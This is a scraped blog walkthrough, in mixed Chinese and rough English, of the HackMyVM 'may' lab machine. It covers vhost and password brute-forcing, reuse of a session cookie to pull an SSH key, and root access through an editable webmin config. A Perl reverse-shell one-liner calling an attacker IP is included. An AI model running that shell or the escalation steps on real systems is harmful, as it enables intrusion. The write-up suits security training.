当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:59:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,Would jump to domain namemay.hmv访问,这里需添加hosts访问.
Got a user Mingmarie.
Blasting directory failed,于是爆破vhost.
找到两个vhost,portal和ssh.添加hosts后访问portal.may.hmv.This a login page,会验证用户名和密码,After a failed attempt to inject,Using the user name password try blasting obtained from the front.
得到密码rebeldeAnd capturing the successcookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥.
获取user flag
To save the private key,And Settings for the current user to read and write only,ssh登录marie.

获取root flag
查看root用户进程,Found the following process.
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的.


在failed.plAdd the reboundshell代码.
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot).After the restart casuallywebminTo log on to a wrong account can reboundroot.
边栏推荐
- 4. The form with the input
- 阿里云设置域名解析重定向后,无法使用Chrome访问
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- Stable and easy-to-use short connection generation platform, supporting API batch generation
- 多线程(实现多线程、线程同步、生产者消费者)
- PHP入门(自学笔记)
- IO streams, byte stream and byte stream buffer
- ES6迭代器解释举例
- web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)
- 第一次手撕代码,如何解出全排列问题
猜你喜欢

阿里云设置域名解析重定向后,无法使用Chrome访问

Stable and easy-to-use short connection generation platform, supporting API batch generation

4.表单与输入

IP门禁:手把手教你用PHP实现一个IP防火墙

PHP8.2 version release administrator and release plan

SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration

Kali install IDEA
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库

PHP有哪些杀手级超厉害框架或库或应用?

IO stream, encoding table, character stream, character buffer stream
随机推荐
(3)Thinkphp6数据库
MySql Advanced -- Constraints
What will be new in PHP8.2?
PHP有哪些框架?
Alfa: 1 vulnhub walkthrough
TypeScript error error TS2469, error TS2731 solution
hackmyvm: again walkthrough
TypeScript 错误 error TS2469、error TS2731 解决办法
(3) 字符串
IO流、字节流、字节缓冲流
Phpstudy安装Thinkphp6(问题+解决)
使用PHPMailer发送邮件
[mikehaertl/php-shellcommand] A library for invoking external command operations
IO stream, encoding table, character stream, character buffer stream
[campo/random-user-agent]随机伪造你的User-Agent
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
13. JS output content and syntax
PHP8.2中字符串变量解析的新用法
MySql高级 -- 约束
Introduction to PHP (self-study notes)